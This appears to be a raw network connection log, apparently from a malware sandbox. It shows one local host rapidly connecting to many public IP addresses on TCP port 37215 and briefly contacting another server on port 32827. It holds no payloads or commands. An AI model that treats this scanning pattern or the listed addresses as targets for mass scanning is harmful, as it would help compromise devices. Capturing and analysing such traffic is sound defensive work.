Sep 25, 2024 14:14:18.620481968 CEST	34808	37215	192.168.2.14	41.204.4.154
Sep 25, 2024 14:14:18.620491982 CEST	42854	37215	192.168.2.14	41.175.30.52
Sep 25, 2024 14:14:18.620491982 CEST	55968	37215	192.168.2.14	197.177.63.21
Sep 25, 2024 14:14:18.620501041 CEST	40838	37215	192.168.2.14	41.57.178.82
Sep 25, 2024 14:14:18.620506048 CEST	52588	37215	192.168.2.14	41.218.113.176
Sep 25, 2024 14:14:18.620507002 CEST	38190	37215	192.168.2.14	41.126.108.91
Sep 25, 2024 14:14:18.620507002 CEST	51292	37215	192.168.2.14	41.203.135.99
Sep 25, 2024 14:14:18.620508909 CEST	44658	37215	192.168.2.14	197.75.103.164
Sep 25, 2024 14:14:18.620513916 CEST	37556	37215	192.168.2.14	156.116.96.173
Sep 25, 2024 14:14:18.620537996 CEST	60892	37215	192.168.2.14	197.126.2.56
Sep 25, 2024 14:14:18.620538950 CEST	36260	37215	192.168.2.14	197.72.52.161
Sep 25, 2024 14:14:18.620538950 CEST	49696	37215	192.168.2.14	156.201.222.189
Sep 25, 2024 14:14:18.620538950 CEST	37504	37215	192.168.2.14	41.168.18.102
Sep 25, 2024 14:14:18.620539904 CEST	32816	37215	192.168.2.14	41.114.142.228
Sep 25, 2024 14:14:18.620543003 CEST	41404	37215	192.168.2.14	41.94.82.29
Sep 25, 2024 14:14:18.620556116 CEST	55308	37215	192.168.2.14	156.180.191.247
Sep 25, 2024 14:14:18.620575905 CEST	42642	37215	192.168.2.14	156.184.222.237
Sep 25, 2024 14:14:18.620577097 CEST	60556	37215	192.168.2.14	197.216.95.131
Sep 25, 2024 14:14:18.620577097 CEST	56132	37215	192.168.2.14	197.57.233.63
Sep 25, 2024 14:14:18.620577097 CEST	36096	37215	192.168.2.14	41.141.77.117
Sep 25, 2024 14:14:18.620580912 CEST	39908	37215	192.168.2.14	156.156.122.8
Sep 25, 2024 14:14:18.620580912 CEST	49928	37215	192.168.2.14	41.96.40.29
Sep 25, 2024 14:14:18.620626926 CEST	44440	37215	192.168.2.14	197.172.74.68
Sep 25, 2024 14:14:18.620626926 CEST	44440	37215	192.168.2.14	197.172.74.68
Sep 25, 2024 14:14:18.621112108 CEST	44514	37215	192.168.2.14	197.172.74.68
Sep 25, 2024 14:14:18.622001886 CEST	38436	37215	192.168.2.14	41.153.113.211
Sep 25, 2024 14:14:18.622001886 CEST	38436	37215	192.168.2.14	41.153.113.211
Sep 25, 2024 14:14:18.622564077 CEST	38510	37215	192.168.2.14	41.153.113.211
Sep 25, 2024 14:14:18.623502970 CEST	56934	37215	192.168.2.14	197.173.203.0
Sep 25, 2024 14:14:18.623502970 CEST	56934	37215	192.168.2.14	197.173.203.0
Sep 25, 2024 14:14:18.624217987 CEST	57008	37215	192.168.2.14	197.173.203.0
Sep 25, 2024 14:14:18.624710083 CEST	37215	63353	197.137.61.66	192.168.2.14
Sep 25, 2024 14:14:18.624721050 CEST	37215	63353	197.39.150.174	192.168.2.14
Sep 25, 2024 14:14:18.624730110 CEST	37215	63353	197.159.244.122	192.168.2.14
Sep 25, 2024 14:14:18.624738932 CEST	37215	63353	41.189.63.143	192.168.2.14
Sep 25, 2024 14:14:18.624747992 CEST	37215	63353	41.81.241.220	192.168.2.14
Sep 25, 2024 14:14:18.624763966 CEST	37215	63353	41.247.164.161	192.168.2.14
Sep 25, 2024 14:14:18.624767065 CEST	63353	37215	192.168.2.14	197.159.244.122
Sep 25, 2024 14:14:18.624772072 CEST	63353	37215	192.168.2.14	197.39.150.174
Sep 25, 2024 14:14:18.624773026 CEST	37215	63353	197.15.12.0	192.168.2.14
Sep 25, 2024 14:14:18.624783993 CEST	63353	37215	192.168.2.14	41.81.241.220
Sep 25, 2024 14:14:18.624790907 CEST	37215	63353	156.5.45.241	192.168.2.14
Sep 25, 2024 14:14:18.624794960 CEST	63353	37215	192.168.2.14	197.137.61.66
Sep 25, 2024 14:14:18.624800920 CEST	37215	63353	197.125.230.96	192.168.2.14
Sep 25, 2024 14:14:18.624800920 CEST	63353	37215	192.168.2.14	41.189.63.143
Sep 25, 2024 14:14:18.624810934 CEST	37215	63353	156.8.54.61	192.168.2.14
Sep 25, 2024 14:14:18.624813080 CEST	63353	37215	192.168.2.14	156.5.45.241
Sep 25, 2024 14:14:18.624814987 CEST	63353	37215	192.168.2.14	197.15.12.0
Sep 25, 2024 14:14:18.624819994 CEST	37215	63353	156.87.134.32	192.168.2.14
Sep 25, 2024 14:14:18.624829054 CEST	37215	63353	41.221.187.251	192.168.2.14
Sep 25, 2024 14:14:18.624835014 CEST	63353	37215	192.168.2.14	156.8.54.61
Sep 25, 2024 14:14:18.624845982 CEST	37215	55086	156.26.49.169	192.168.2.14
Sep 25, 2024 14:14:18.624850988 CEST	63353	37215	192.168.2.14	156.87.134.32
Sep 25, 2024 14:14:18.624861002 CEST	63353	37215	192.168.2.14	41.221.187.251
Sep 25, 2024 14:14:18.624866009 CEST	63353	37215	192.168.2.14	197.125.230.96
Sep 25, 2024 14:14:18.624871969 CEST	37215	63353	156.41.207.215	192.168.2.14
Sep 25, 2024 14:14:18.624871969 CEST	63353	37215	192.168.2.14	41.247.164.161
Sep 25, 2024 14:14:18.624883890 CEST	55086	37215	192.168.2.14	156.26.49.169
Sep 25, 2024 14:14:18.624917030 CEST	63353	37215	192.168.2.14	156.41.207.215
Sep 25, 2024 14:14:18.625077963 CEST	37670	37215	192.168.2.14	197.233.237.119
Sep 25, 2024 14:14:18.625077963 CEST	37670	37215	192.168.2.14	197.233.237.119
Sep 25, 2024 14:14:18.625355005 CEST	37215	63353	156.63.204.122	192.168.2.14
Sep 25, 2024 14:14:18.625365019 CEST	37215	63353	156.12.16.163	192.168.2.14
Sep 25, 2024 14:14:18.625372887 CEST	37215	63353	156.61.33.98	192.168.2.14
Sep 25, 2024 14:14:18.625382900 CEST	37215	63353	41.4.228.194	192.168.2.14
Sep 25, 2024 14:14:18.625394106 CEST	37215	38592	41.163.125.164	192.168.2.14
Sep 25, 2024 14:14:18.625399113 CEST	63353	37215	192.168.2.14	156.63.204.122
Sep 25, 2024 14:14:18.625399113 CEST	63353	37215	192.168.2.14	156.12.16.163
Sep 25, 2024 14:14:18.625411987 CEST	37215	63353	197.60.204.26	192.168.2.14
Sep 25, 2024 14:14:18.625421047 CEST	37215	63353	41.147.82.72	192.168.2.14
Sep 25, 2024 14:14:18.625427961 CEST	38592	37215	192.168.2.14	41.163.125.164
Sep 25, 2024 14:14:18.625430107 CEST	37215	63353	197.3.194.22	192.168.2.14
Sep 25, 2024 14:14:18.625437975 CEST	63353	37215	192.168.2.14	197.60.204.26
Sep 25, 2024 14:14:18.625439882 CEST	37215	63353	156.244.113.209	192.168.2.14
Sep 25, 2024 14:14:18.625468016 CEST	63353	37215	192.168.2.14	41.147.82.72
Sep 25, 2024 14:14:18.625472069 CEST	63353	37215	192.168.2.14	197.3.194.22
Sep 25, 2024 14:14:18.625472069 CEST	63353	37215	192.168.2.14	156.244.113.209
Sep 25, 2024 14:14:18.625480890 CEST	63353	37215	192.168.2.14	41.4.228.194
Sep 25, 2024 14:14:18.625487089 CEST	63353	37215	192.168.2.14	156.61.33.98
Sep 25, 2024 14:14:18.625493050 CEST	37215	63353	156.181.97.225	192.168.2.14
Sep 25, 2024 14:14:18.625499964 CEST	37744	37215	192.168.2.14	197.233.237.119
Sep 25, 2024 14:14:18.625503063 CEST	37215	63353	156.44.91.118	192.168.2.14
Sep 25, 2024 14:14:18.625511885 CEST	37215	63353	41.182.160.196	192.168.2.14
Sep 25, 2024 14:14:18.625520945 CEST	37215	63353	197.15.91.163	192.168.2.14
Sep 25, 2024 14:14:18.625534058 CEST	63353	37215	192.168.2.14	156.44.91.118
Sep 25, 2024 14:14:18.625535965 CEST	37215	63353	197.19.39.143	192.168.2.14
Sep 25, 2024 14:14:18.625545979 CEST	37215	63353	197.155.5.129	192.168.2.14
Sep 25, 2024 14:14:18.625552893 CEST	63353	37215	192.168.2.14	156.181.97.225
Sep 25, 2024 14:14:18.625561953 CEST	63353	37215	192.168.2.14	41.182.160.196
Sep 25, 2024 14:14:18.625561953 CEST	63353	37215	192.168.2.14	197.15.91.163
Sep 25, 2024 14:14:18.625576973 CEST	63353	37215	192.168.2.14	197.19.39.143
Sep 25, 2024 14:14:18.625579119 CEST	63353	37215	192.168.2.14	197.155.5.129
Sep 25, 2024 14:14:18.625746965 CEST	37215	40660	41.113.76.132	192.168.2.14
Sep 25, 2024 14:14:18.625790119 CEST	40660	37215	192.168.2.14	41.113.76.132
Sep 25, 2024 14:14:18.625919104 CEST	37215	55968	197.177.63.21	192.168.2.14
Sep 25, 2024 14:14:18.625927925 CEST	37215	56546	156.183.76.141	192.168.2.14
Sep 25, 2024 14:14:18.625936031 CEST	37215	36096	41.141.77.117	192.168.2.14
Sep 25, 2024 14:14:18.625945091 CEST	37215	56132	197.57.233.63	192.168.2.14
Sep 25, 2024 14:14:18.625952005 CEST	37215	60556	197.216.95.131	192.168.2.14
Sep 25, 2024 14:14:18.625960112 CEST	56546	37215	192.168.2.14	156.183.76.141
Sep 25, 2024 14:14:18.625969887 CEST	55968	37215	192.168.2.14	197.177.63.21
Sep 25, 2024 14:14:18.626049995 CEST	37215	49928	41.96.40.29	192.168.2.14
Sep 25, 2024 14:14:18.626061916 CEST	37215	39908	156.156.122.8	192.168.2.14
Sep 25, 2024 14:14:18.626070976 CEST	37215	42642	156.184.222.237	192.168.2.14
Sep 25, 2024 14:14:18.626077890 CEST	37215	55308	156.180.191.247	192.168.2.14
Sep 25, 2024 14:14:18.626094103 CEST	37215	37504	41.168.18.102	192.168.2.14
Sep 25, 2024 14:14:18.626102924 CEST	37215	41404	41.94.82.29	192.168.2.14
Sep 25, 2024 14:14:18.626111984 CEST	37215	49696	156.201.222.189	192.168.2.14
Sep 25, 2024 14:14:18.626120090 CEST	49754	37215	192.168.2.14	41.204.244.44
Sep 25, 2024 14:14:18.626121044 CEST	49754	37215	192.168.2.14	41.204.244.44
Sep 25, 2024 14:14:18.626223087 CEST	37215	32816	41.114.142.228	192.168.2.14
Sep 25, 2024 14:14:18.626234055 CEST	37215	36260	197.72.52.161	192.168.2.14
Sep 25, 2024 14:14:18.626245022 CEST	37215	60892	197.126.2.56	192.168.2.14
Sep 25, 2024 14:14:18.626251936 CEST	37215	37556	156.116.96.173	192.168.2.14
Sep 25, 2024 14:14:18.626261950 CEST	37215	51292	41.203.135.99	192.168.2.14
Sep 25, 2024 14:14:18.626270056 CEST	37215	38190	41.126.108.91	192.168.2.14
Sep 25, 2024 14:14:18.626276970 CEST	37215	44658	197.75.103.164	192.168.2.14
Sep 25, 2024 14:14:18.626286030 CEST	37215	52588	41.218.113.176	192.168.2.14
Sep 25, 2024 14:14:18.626292944 CEST	37215	40838	41.57.178.82	192.168.2.14
Sep 25, 2024 14:14:18.626308918 CEST	37215	42854	41.175.30.52	192.168.2.14
Sep 25, 2024 14:14:18.626317024 CEST	37215	58072	156.128.52.57	192.168.2.14
Sep 25, 2024 14:14:18.626323938 CEST	37215	34808	41.204.4.154	192.168.2.14
Sep 25, 2024 14:14:18.626394033 CEST	37215	34178	41.162.5.27	192.168.2.14
Sep 25, 2024 14:14:18.626403093 CEST	37215	37504	41.168.18.102	192.168.2.14
Sep 25, 2024 14:14:18.626410007 CEST	37215	55308	156.180.191.247	192.168.2.14
Sep 25, 2024 14:14:18.626421928 CEST	37215	39908	156.156.122.8	192.168.2.14
Sep 25, 2024 14:14:18.626457930 CEST	55308	37215	192.168.2.14	156.180.191.247
Sep 25, 2024 14:14:18.626462936 CEST	39908	37215	192.168.2.14	156.156.122.8
Sep 25, 2024 14:14:18.626483917 CEST	37504	37215	192.168.2.14	41.168.18.102
Sep 25, 2024 14:14:18.626492977 CEST	37215	49928	41.96.40.29	192.168.2.14
Sep 25, 2024 14:14:18.626502991 CEST	37215	44440	197.172.74.68	192.168.2.14
Sep 25, 2024 14:14:18.626512051 CEST	37215	42642	156.184.222.237	192.168.2.14
Sep 25, 2024 14:14:18.626539946 CEST	49928	37215	192.168.2.14	41.96.40.29
Sep 25, 2024 14:14:18.626754045 CEST	37215	34178	41.162.5.27	192.168.2.14
Sep 25, 2024 14:14:18.626764059 CEST	42642	37215	192.168.2.14	156.184.222.237
Sep 25, 2024 14:14:18.626792908 CEST	37215	38436	41.153.113.211	192.168.2.14
Sep 25, 2024 14:14:18.626811028 CEST	49838	37215	192.168.2.14	41.204.244.44
Sep 25, 2024 14:14:18.626837969 CEST	34178	37215	192.168.2.14	41.162.5.27
Sep 25, 2024 14:14:18.626904011 CEST	37215	42854	41.175.30.52	192.168.2.14
Sep 25, 2024 14:14:18.626941919 CEST	42854	37215	192.168.2.14	41.175.30.52
Sep 25, 2024 14:14:18.627062082 CEST	37215	51292	41.203.135.99	192.168.2.14
Sep 25, 2024 14:14:18.627094984 CEST	51292	37215	192.168.2.14	41.203.135.99
Sep 25, 2024 14:14:18.627172947 CEST	37215	38190	41.126.108.91	192.168.2.14
Sep 25, 2024 14:14:18.627208948 CEST	38190	37215	192.168.2.14	41.126.108.91
Sep 25, 2024 14:14:18.627370119 CEST	37215	52588	41.218.113.176	192.168.2.14
Sep 25, 2024 14:14:18.627405882 CEST	52588	37215	192.168.2.14	41.218.113.176
Sep 25, 2024 14:14:18.627635002 CEST	37215	34808	41.204.4.154	192.168.2.14
Sep 25, 2024 14:14:18.627670050 CEST	34808	37215	192.168.2.14	41.204.4.154
Sep 25, 2024 14:14:18.627744913 CEST	37215	36260	197.72.52.161	192.168.2.14
Sep 25, 2024 14:14:18.627785921 CEST	41248	37215	192.168.2.14	41.213.67.82
Sep 25, 2024 14:14:18.627785921 CEST	41248	37215	192.168.2.14	41.213.67.82
Sep 25, 2024 14:14:18.627830982 CEST	36260	37215	192.168.2.14	197.72.52.161
Sep 25, 2024 14:14:18.627861023 CEST	37215	60892	197.126.2.56	192.168.2.14
Sep 25, 2024 14:14:18.627898932 CEST	60892	37215	192.168.2.14	197.126.2.56
Sep 25, 2024 14:14:18.628149033 CEST	37215	40838	41.57.178.82	192.168.2.14
Sep 25, 2024 14:14:18.628158092 CEST	37215	49696	156.201.222.189	192.168.2.14
Sep 25, 2024 14:14:18.628186941 CEST	40838	37215	192.168.2.14	41.57.178.82
Sep 25, 2024 14:14:18.628206015 CEST	49696	37215	192.168.2.14	156.201.222.189
Sep 25, 2024 14:14:18.628237009 CEST	41324	37215	192.168.2.14	41.213.67.82
Sep 25, 2024 14:14:18.628532887 CEST	37215	44658	197.75.103.164	192.168.2.14
Sep 25, 2024 14:14:18.628541946 CEST	37215	56934	197.173.203.0	192.168.2.14
Sep 25, 2024 14:14:18.628550053 CEST	37215	41404	41.94.82.29	192.168.2.14
Sep 25, 2024 14:14:18.628572941 CEST	44658	37215	192.168.2.14	197.75.103.164
Sep 25, 2024 14:14:18.628590107 CEST	41404	37215	192.168.2.14	41.94.82.29
Sep 25, 2024 14:14:18.628792048 CEST	37215	58072	156.128.52.57	192.168.2.14
Sep 25, 2024 14:14:18.628848076 CEST	58072	37215	192.168.2.14	156.128.52.57
Sep 25, 2024 14:14:18.629034996 CEST	42992	37215	192.168.2.14	156.158.134.204
Sep 25, 2024 14:14:18.629034996 CEST	42992	37215	192.168.2.14	156.158.134.204
Sep 25, 2024 14:14:18.629338026 CEST	37215	36096	41.141.77.117	192.168.2.14
Sep 25, 2024 14:14:18.629348040 CEST	37215	56132	197.57.233.63	192.168.2.14
Sep 25, 2024 14:14:18.629381895 CEST	36096	37215	192.168.2.14	41.141.77.117
Sep 25, 2024 14:14:18.629381895 CEST	56132	37215	192.168.2.14	197.57.233.63
Sep 25, 2024 14:14:18.629431963 CEST	37215	57008	197.173.203.0	192.168.2.14
Sep 25, 2024 14:14:18.629523039 CEST	37215	37556	156.116.96.173	192.168.2.14
Sep 25, 2024 14:14:18.629559040 CEST	57008	37215	192.168.2.14	197.173.203.0
Sep 25, 2024 14:14:18.629559040 CEST	37556	37215	192.168.2.14	156.116.96.173
Sep 25, 2024 14:14:18.629631042 CEST	37215	32816	41.114.142.228	192.168.2.14
Sep 25, 2024 14:14:18.629683971 CEST	32816	37215	192.168.2.14	41.114.142.228
Sep 25, 2024 14:14:18.629708052 CEST	43068	37215	192.168.2.14	156.158.134.204
Sep 25, 2024 14:14:18.629734993 CEST	37215	60556	197.216.95.131	192.168.2.14
Sep 25, 2024 14:14:18.629791021 CEST	60556	37215	192.168.2.14	197.216.95.131
Sep 25, 2024 14:14:18.630014896 CEST	37215	37670	197.233.237.119	192.168.2.14
Sep 25, 2024 14:14:18.630414009 CEST	35986	37215	192.168.2.14	156.51.177.129
Sep 25, 2024 14:14:18.630414009 CEST	35986	37215	192.168.2.14	156.51.177.129
Sep 25, 2024 14:14:18.630953074 CEST	37215	49754	41.204.244.44	192.168.2.14
Sep 25, 2024 14:14:18.631606102 CEST	36300	37215	192.168.2.14	156.51.177.129
Sep 25, 2024 14:14:18.632549047 CEST	37215	41248	41.213.67.82	192.168.2.14
Sep 25, 2024 14:14:18.633908033 CEST	37215	42992	156.158.134.204	192.168.2.14
Sep 25, 2024 14:14:18.634504080 CEST	46112	37215	192.168.2.14	197.137.61.66
Sep 25, 2024 14:14:18.635251045 CEST	37215	35986	156.51.177.129	192.168.2.14
Sep 25, 2024 14:14:18.636365891 CEST	58732	37215	192.168.2.14	197.39.150.174
Sep 25, 2024 14:14:18.636502028 CEST	37215	36300	156.51.177.129	192.168.2.14
Sep 25, 2024 14:14:18.636573076 CEST	36300	37215	192.168.2.14	156.51.177.129
Sep 25, 2024 14:14:18.637649059 CEST	57672	37215	192.168.2.14	41.189.63.143
Sep 25, 2024 14:14:18.639086962 CEST	56366	37215	192.168.2.14	197.159.244.122
Sep 25, 2024 14:14:18.642782927 CEST	46056	37215	192.168.2.14	41.81.241.220
Sep 25, 2024 14:14:18.644344091 CEST	52560	37215	192.168.2.14	197.15.12.0
Sep 25, 2024 14:14:18.645958900 CEST	56010	37215	192.168.2.14	156.59.45.78
Sep 25, 2024 14:14:18.645961046 CEST	39562	37215	192.168.2.14	156.156.136.242
Sep 25, 2024 14:14:18.645961046 CEST	50016	37215	192.168.2.14	197.45.117.209
Sep 25, 2024 14:14:18.645967960 CEST	54004	37215	192.168.2.14	41.234.48.19
Sep 25, 2024 14:14:18.645967007 CEST	41942	37215	192.168.2.14	197.96.2.106
Sep 25, 2024 14:14:18.645967007 CEST	41532	37215	192.168.2.14	197.23.243.19
Sep 25, 2024 14:14:18.645977974 CEST	40870	37215	192.168.2.14	41.118.251.13
Sep 25, 2024 14:14:18.645999908 CEST	50666	37215	192.168.2.14	41.59.164.197
Sep 25, 2024 14:14:18.646553993 CEST	35916	37215	192.168.2.14	41.247.164.161
Sep 25, 2024 14:14:18.647418022 CEST	46694	37215	192.168.2.14	156.5.45.241
Sep 25, 2024 14:14:18.648127079 CEST	58074	37215	192.168.2.14	197.125.230.96
Sep 25, 2024 14:14:18.648924112 CEST	36584	37215	192.168.2.14	156.8.54.61
Sep 25, 2024 14:14:18.649131060 CEST	37215	52560	197.15.12.0	192.168.2.14
Sep 25, 2024 14:14:18.649184942 CEST	52560	37215	192.168.2.14	197.15.12.0
Sep 25, 2024 14:14:18.649852991 CEST	43490	37215	192.168.2.14	156.87.134.32
Sep 25, 2024 14:14:18.651233912 CEST	38028	37215	192.168.2.14	41.221.187.251
Sep 25, 2024 14:14:18.653600931 CEST	60260	37215	192.168.2.14	156.41.207.215
Sep 25, 2024 14:14:18.655925035 CEST	34956	37215	192.168.2.14	156.63.204.122
Sep 25, 2024 14:14:18.658037901 CEST	60642	37215	192.168.2.14	156.12.16.163
Sep 25, 2024 14:14:18.658626080 CEST	37215	60260	156.41.207.215	192.168.2.14
Sep 25, 2024 14:14:18.658672094 CEST	60260	37215	192.168.2.14	156.41.207.215
Sep 25, 2024 14:14:18.659852982 CEST	59912	37215	192.168.2.14	156.61.33.98
Sep 25, 2024 14:14:18.662580013 CEST	39810	37215	192.168.2.14	41.4.228.194
Sep 25, 2024 14:14:18.664520979 CEST	51808	37215	192.168.2.14	197.60.204.26
Sep 25, 2024 14:14:18.666762114 CEST	57958	37215	192.168.2.14	41.147.82.72
Sep 25, 2024 14:14:18.668813944 CEST	54980	37215	192.168.2.14	197.3.194.22
Sep 25, 2024 14:14:18.669332981 CEST	37215	51808	197.60.204.26	192.168.2.14
Sep 25, 2024 14:14:18.669385910 CEST	51808	37215	192.168.2.14	197.60.204.26
Sep 25, 2024 14:14:18.671468973 CEST	46286	37215	192.168.2.14	156.244.113.209
Sep 25, 2024 14:14:18.673780918 CEST	42764	37215	192.168.2.14	156.181.97.225
Sep 25, 2024 14:14:18.673856974 CEST	37215	56934	197.173.203.0	192.168.2.14
Sep 25, 2024 14:14:18.673868895 CEST	37215	38436	41.153.113.211	192.168.2.14
Sep 25, 2024 14:14:18.673877001 CEST	37215	44440	197.172.74.68	192.168.2.14
Sep 25, 2024 14:14:18.673887968 CEST	37215	37670	197.233.237.119	192.168.2.14
Sep 25, 2024 14:14:18.673896074 CEST	37215	41248	41.213.67.82	192.168.2.14
Sep 25, 2024 14:14:18.673904896 CEST	37215	49754	41.204.244.44	192.168.2.14
Sep 25, 2024 14:14:18.676089048 CEST	52836	37215	192.168.2.14	156.44.91.118
Sep 25, 2024 14:14:18.676418066 CEST	37215	46286	156.244.113.209	192.168.2.14
Sep 25, 2024 14:14:18.676470041 CEST	46286	37215	192.168.2.14	156.244.113.209
Sep 25, 2024 14:14:18.677798033 CEST	37215	35986	156.51.177.129	192.168.2.14
Sep 25, 2024 14:14:18.677957058 CEST	53936	37215	192.168.2.14	197.209.241.221
Sep 25, 2024 14:14:18.677958965 CEST	51060	37215	192.168.2.14	41.237.121.233
Sep 25, 2024 14:14:18.677963018 CEST	37215	42992	156.158.134.204	192.168.2.14
Sep 25, 2024 14:14:18.678193092 CEST	48772	37215	192.168.2.14	41.182.160.196
Sep 25, 2024 14:14:18.679644108 CEST	56268	37215	192.168.2.14	197.15.91.163
Sep 25, 2024 14:14:18.681020021 CEST	47986	37215	192.168.2.14	197.19.39.143
Sep 25, 2024 14:14:18.682363033 CEST	36164	37215	192.168.2.14	197.155.5.129
Sep 25, 2024 14:14:18.683265924 CEST	52560	37215	192.168.2.14	197.15.12.0
Sep 25, 2024 14:14:18.683265924 CEST	52560	37215	192.168.2.14	197.15.12.0
Sep 25, 2024 14:14:18.683406115 CEST	36300	37215	192.168.2.14	156.51.177.129
Sep 25, 2024 14:14:18.683413029 CEST	57008	37215	192.168.2.14	197.173.203.0
Sep 25, 2024 14:14:18.684344053 CEST	52604	37215	192.168.2.14	197.15.12.0
Sep 25, 2024 14:14:18.685033083 CEST	60260	37215	192.168.2.14	156.41.207.215
Sep 25, 2024 14:14:18.685033083 CEST	60260	37215	192.168.2.14	156.41.207.215
Sep 25, 2024 14:14:18.685383081 CEST	60292	37215	192.168.2.14	156.41.207.215
Sep 25, 2024 14:14:18.685878038 CEST	51808	37215	192.168.2.14	197.60.204.26
Sep 25, 2024 14:14:18.685878038 CEST	51808	37215	192.168.2.14	197.60.204.26
Sep 25, 2024 14:14:18.686497927 CEST	51832	37215	192.168.2.14	197.60.204.26
Sep 25, 2024 14:14:18.687520981 CEST	46286	37215	192.168.2.14	156.244.113.209
Sep 25, 2024 14:14:18.687520981 CEST	46286	37215	192.168.2.14	156.244.113.209
Sep 25, 2024 14:14:18.688261986 CEST	37215	52560	197.15.12.0	192.168.2.14
Sep 25, 2024 14:14:18.689021111 CEST	46306	37215	192.168.2.14	156.244.113.209
Sep 25, 2024 14:14:18.689701080 CEST	37215	36300	156.51.177.129	192.168.2.14
Sep 25, 2024 14:14:18.689743996 CEST	36300	37215	192.168.2.14	156.51.177.129
Sep 25, 2024 14:14:18.689860106 CEST	37215	57008	197.173.203.0	192.168.2.14
Sep 25, 2024 14:14:18.689924955 CEST	57008	37215	192.168.2.14	197.173.203.0
Sep 25, 2024 14:14:18.690597057 CEST	37215	52604	197.15.12.0	192.168.2.14
Sep 25, 2024 14:14:18.690649033 CEST	52604	37215	192.168.2.14	197.15.12.0
Sep 25, 2024 14:14:18.690649033 CEST	52604	37215	192.168.2.14	197.15.12.0
Sep 25, 2024 14:14:18.690676928 CEST	37215	60260	156.41.207.215	192.168.2.14
Sep 25, 2024 14:14:18.690932035 CEST	37215	51808	197.60.204.26	192.168.2.14
Sep 25, 2024 14:14:18.692397118 CEST	37215	46286	156.244.113.209	192.168.2.14
Sep 25, 2024 14:14:18.695799112 CEST	37215	52604	197.15.12.0	192.168.2.14
Sep 25, 2024 14:14:18.695839882 CEST	52604	37215	192.168.2.14	197.15.12.0
Sep 25, 2024 14:14:18.729830980 CEST	37215	52560	197.15.12.0	192.168.2.14
Sep 25, 2024 14:14:18.733870029 CEST	37215	46286	156.244.113.209	192.168.2.14
Sep 25, 2024 14:14:18.733880997 CEST	37215	51808	197.60.204.26	192.168.2.14
Sep 25, 2024 14:14:18.733890057 CEST	37215	60260	156.41.207.215	192.168.2.14
Sep 25, 2024 14:14:19.027451992 CEST	37215	47632	156.73.176.14	192.168.2.14
Sep 25, 2024 14:14:19.027543068 CEST	47632	37215	192.168.2.14	156.73.176.14
Sep 25, 2024 14:14:19.185573101 CEST	54386	32827	192.168.2.14	185.196.10.235
Sep 25, 2024 14:14:19.190392971 CEST	32827	54386	185.196.10.235	192.168.2.14
Sep 25, 2024 14:14:19.190499067 CEST	54386	32827	192.168.2.14	185.196.10.235
Sep 25, 2024 14:14:19.190887928 CEST	54386	32827	192.168.2.14	185.196.10.235
Sep 25, 2024 14:14:19.195759058 CEST	32827	54386	185.196.10.235	192.168.2.14
Sep 25, 2024 14:14:19.637938023 CEST	58732	37215	192.168.2.14	197.39.150.174
Sep 25, 2024 14:14:19.637938976 CEST	41324	37215	192.168.2.14	41.213.67.82
Sep 25, 2024 14:14:19.637938023 CEST	46112	37215	192.168.2.14	197.137.61.66
Sep 25, 2024 14:14:19.637938023 CEST	49838	37215	192.168.2.14	41.204.244.44
Sep 25, 2024 14:14:19.637943983 CEST	57672	37215	192.168.2.14	41.189.63.143
Sep 25, 2024 14:14:19.637943983 CEST	54828	37215	192.168.2.14	41.71.47.143
Sep 25, 2024 14:14:19.637953997 CEST	43068	37215	192.168.2.14	156.158.134.204
Sep 25, 2024 14:14:19.637954950 CEST	38828	37215	192.168.2.14	41.174.94.226
Sep 25, 2024 14:14:19.637954950 CEST	37744	37215	192.168.2.14	197.233.237.119
Sep 25, 2024 14:14:19.637954950 CEST	55116	37215	192.168.2.14	41.116.201.16
Sep 25, 2024 14:14:19.637954950 CEST	38510	37215	192.168.2.14	41.153.113.211
Sep 25, 2024 14:14:19.637958050 CEST	40030	37215	192.168.2.14	197.213.197.91
Sep 25, 2024 14:14:19.637975931 CEST	44514	37215	192.168.2.14	197.172.74.68
Sep 25, 2024 14:14:19.637975931 CEST	36690	37215	192.168.2.14	156.150.52.76
Sep 25, 2024 14:14:19.637975931 CEST	48890	37215	192.168.2.14	197.13.34.105
Sep 25, 2024 14:14:19.638004065 CEST	43716	37215	192.168.2.14	156.58.216.35
Sep 25, 2024 14:14:19.638004065 CEST	32846	37215	192.168.2.14	156.197.220.184
Sep 25, 2024 14:14:19.642987013 CEST	37215	58732	197.39.150.174	192.168.2.14
Sep 25, 2024 14:14:19.643009901 CEST	37215	57672	41.189.63.143	192.168.2.14
Sep 25, 2024 14:14:19.643023014 CEST	37215	41324	41.213.67.82	192.168.2.14
Sep 25, 2024 14:14:19.643037081 CEST	37215	40030	197.213.197.91	192.168.2.14
Sep 25, 2024 14:14:19.643037081 CEST	58732	37215	192.168.2.14	197.39.150.174
Sep 25, 2024 14:14:19.643054008 CEST	37215	38828	41.174.94.226	192.168.2.14
Sep 25, 2024 14:14:19.643062115 CEST	57672	37215	192.168.2.14	41.189.63.143
Sep 25, 2024 14:14:19.643076897 CEST	41324	37215	192.168.2.14	41.213.67.82
Sep 25, 2024 14:14:19.643084049 CEST	38828	37215	192.168.2.14	41.174.94.226
Sep 25, 2024 14:14:19.643085957 CEST	37215	43068	156.158.134.204	192.168.2.14
Sep 25, 2024 14:14:19.643085957 CEST	40030	37215	192.168.2.14	197.213.197.91
Sep 25, 2024 14:14:19.643100977 CEST	37215	37744	197.233.237.119	192.168.2.14
Sep 25, 2024 14:14:19.643115044 CEST	37215	54828	41.71.47.143	192.168.2.14
Sep 25, 2024 14:14:19.643121004 CEST	43068	37215	192.168.2.14	156.158.134.204
Sep 25, 2024 14:14:19.643135071 CEST	37744	37215	192.168.2.14	197.233.237.119
Sep 25, 2024 14:14:19.643138885 CEST	54828	37215	192.168.2.14	41.71.47.143
Sep 25, 2024 14:14:19.643186092 CEST	41324	37215	192.168.2.14	41.213.67.82
Sep 25, 2024 14:14:19.643188000 CEST	37215	38510	41.153.113.211	192.168.2.14
Sep 25, 2024 14:14:19.643202066 CEST	37215	55116	41.116.201.16	192.168.2.14
Sep 25, 2024 14:14:19.643219948 CEST	38510	37215	192.168.2.14	41.153.113.211
Sep 25, 2024 14:14:19.643222094 CEST	37215	46112	197.137.61.66	192.168.2.14
Sep 25, 2024 14:14:19.643232107 CEST	55116	37215	192.168.2.14	41.116.201.16
Sep 25, 2024 14:14:19.643235922 CEST	37215	49838	41.204.244.44	192.168.2.14
Sep 25, 2024 14:14:19.643246889 CEST	63353	37215	192.168.2.14	41.6.71.108
Sep 25, 2024 14:14:19.643249035 CEST	37215	43716	156.58.216.35	192.168.2.14
Sep 25, 2024 14:14:19.643260956 CEST	37215	32846	156.197.220.184	192.168.2.14
Sep 25, 2024 14:14:19.643263102 CEST	49838	37215	192.168.2.14	41.204.244.44
